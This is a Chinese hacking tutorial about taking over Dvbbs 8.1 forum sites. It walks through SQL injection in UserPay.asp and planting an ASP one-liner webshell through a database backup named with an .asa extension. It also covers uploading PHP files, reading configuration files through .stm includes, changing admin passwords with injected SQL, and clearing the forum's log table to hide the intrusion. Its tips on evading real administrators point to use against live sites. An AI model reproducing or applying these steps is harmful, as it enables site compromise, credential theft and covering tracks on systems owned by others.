動網8.1背景拿站技巧

來源77169.org 

廣告時間：

咨詢：http://www.77169.com/pay

一、動網8.1漏洞簡要分析

　　動網8.1的通殺漏洞2008年元月新放出來，文筆不好就不浪費這個潤色的精力了。具體的漏洞分析我就不寫了，作者分析的比較清楚。在UserPay.asp中接受的out_trade_no變量未作過濾：

　　Order_No=Request("out_trade_no")

　　Set Rs = Dvbbs.Execute("Select * From [Dv_ChanOrders] Where O_IsSuc=3 And O_PayCode='"&Order_No&"'")

小貼士·延伸閱讀：

（圖1）

1.2、檢視UserPay.asp → 所有交易記錄 → 訂單号 如:2008010914263871334b64cea5f  注：無需關心交易狀态是否成功。

（圖2）

paymoney.htm，參考1.2步驟，如圖3：

以下是代碼片段：

<input type=text size=5 name="paymoney" value="1" >

<input type=submit name=submit value="網上支付">

（圖4）

4 、ACCESS的拿站過程：

方法一：無上傳直接備份拿站

首先我們來看看資料庫操作檔案data.asp,此檔案在選擇備份的過程中Case "BackupData" 調用updata()過程：

　　sub updata()

　　'On error resume next

　　Dim FileConnStr,Fileconn

　　Dim Tempbackpath

　　Dbpath="../"&db

　　'Dbpath=Replace(request.Form("Dbpath"),chr(0),"")

　　Dbpath=Server.mappath(Dbpath)

　　bkfolder=Replace(request.Form("bkfolder"),chr(0),"")

　　bkdbname=Replace(request.Form("bkdbname"),chr(0),"")

　　Tempbackpath = bkfolder& "/"& bkdbname 

　　Rem Add By Dv.唧唧.Net 2007-10-15

　　If InStr(Lcase(Tempbackpath),".asp")>0 Or InStr(Lcase(Tempbackpath),".aspx")>0 Or InStr(Lcase(Tempbackpath),".php")>0 Then

　　response.write "儲存資料庫名不合法,必須是有效的MDB檔案和檔案夾目錄!"

　　Response.End

　　Exit Sub

　　End If

　　從這個過程分析來看Dbpath="../"&db不可送出的變量，在conn.asp中的Db = "data/dvbbs8.mdb"，也就是我們外部送出已上傳檔案的位置的Dbpath根本沒有被data.asp接受。

　　備份過程中Tempbackpath變量不能出現asp、php、aspx。沒辦法我們就備份成asa.asa，asa.asa在2003系統目錄解釋漏洞中的成功比率相當高.

　　第一步：在Dv_Admin表名，即在新增的管理者使用者名中，插入“┼攠數畣整爠煥敵瑳∨≒┩眾┼砧”使用者名，當然你需要事前要注冊一個前台使用者,用來被指定為管理者  插入的值為<% execute request("R")%>w<%'x”unicode壓縮後的代碼，如圖5：

（圖5）

第二步：在Dv_Setup表名，即正常管理-論壇基本設定-開啟通訊系統使用者名與密碼admin|||admin888|||┠礫。“：%>x”unicode壓縮後“┠礫”，圖6：

（圖6）

第三步：壓縮資料庫來重新排列資料庫的結構。需改成如圖7：

（圖7）

第四步：備份，如背景删除備份頁面可構造如下送出表單，效果圖見圖8，圖9：

<p>備份資料庫目錄：<input name="bkfolder" type="text" size="80" value="/ysjy.asa"></p>

<p>備份資料庫名稱：<input name="bkDBname" type="text" size="80" value="1.mdb"></p>

<p><input type="submit" value="送出"></p>

（圖8）

（圖9）

　　備份成功後就可以送出我們的一句話了。我的虛拟機是2003的機子，見圖10，圖11：

（圖10）

（圖11）

最後，别忘了清理PP，一、删除無用管理者 二、重新送出第二步 三、當然是删除自已在論壇中的記錄檔了（成功後）Dv_log表名。

方法二：上傳PHP

-1、在版面管理-版面分類管理-選擇一個二級目錄的進階設定-上傳檔案類型中增加gif|jpg|jpeg|bmp|png|rar|txt|zip|mid|php|mdb|stm，見圖12：

（圖12）

-2、前台上傳PHP、rar、stm、rar檔案，我們在前台是看不到檔案的真實位址的，效果圖13：

（圖13）

-3、在這裡我們要用到的是動網的列目錄漏洞，檔案管理-上傳檔案管理-選擇一定的條件-開始搜尋，在搜尋結果中~需要清理的上傳目錄中-修改如下：/UploadFile/2008-1也就是真正上傳檔案的地方-清除未記錄檔案 注意：<清理同時是否直接從伺服器上删除檔案>預設選項為否，不然檔案就清空了，圖14。

（圖14）

-4、這樣就找到我們真實的檔案位址了，如圖15：

（圖15）

-5、如果PHP能解釋就成功了。本機搭建的PHP與WEB不同目錄，隻能借外力了，見圖16所示。

（圖16）

方法三：stm檔案爆檔案内容

　　我們結合動網的列目錄漏洞來操作，因為列目錄漏洞僅能列出檔案并不能列出檔案夾，我們在列出如conn.asp、config.asp、login.asp等檔案時，可配件stm檔案來爆出檔案的真實内容，上傳如下1.stm檔案内容來爆資料庫，<！--#include file="//CONN.ASP"-->，圖17：

（圖17）

　注意通過檢視頁面源碼方可得所爆内容。如果是mssq版的應該能查找SQL連接配接使用者。接下來就用Mssql查詢連器來操作了。也可用老兵的資料庫管理助手，如圖18：

（圖18）

　　如果上述方法都失敗我們可以将論壇的基本設定的上傳目錄設定中的UploadFile/改為/跳到網站根目錄将stm檔案與列目錄漏洞接合，去另找出路，圖19。

（圖19）

　　-1、盡可能不要破壞人家的網站密碼

　　-2、萬不得以可考慮修改對方密碼，（當然增加管理者就需要你自己對照資料庫來構造了，不失為一種好方法，自己就沒這個精力去構造了，大家可以試試）

　　-3、修改對方的密碼進背景時應盡快增加自己為管理者，恢複對方的密碼。（本人搞笑，一次檢測時進去後沒修改回來，剛巧碰上管理者，被禁用了IP，後來不得以更換了代理，沒敢與管理者搶時間了，呵呵失敗。）

沒辦法，我這個是自己搭建的SQL平台可能是，dvboke.sql并不是完整的東西，很多功能沒辦法實作，圖20：

（圖20）

小貼士：

修改密碼語句如下：

　　'update Dv_User set password='49BA59ABBE56E057' where id=1；----

　　'update Dv_Admin set password='49BA59ABBE56E057' where id=1；----

（圖21）

方法一： SQL版的動網并不能在首頁資料庫操作。外部送出本機上測試備份權限不足~~呵呵，如圖22：

（圖22）

方法二與方法三與上述相同就不重複了，留個圖檔參考，圖23：

（圖23）

最後，來個SQL版的成功提權後的照片作個紀念小炫一下，嘿嘿~~~有什麼問題大家可以到華夏論壇提問溝通，謝謝！

（圖24）

華夏點評：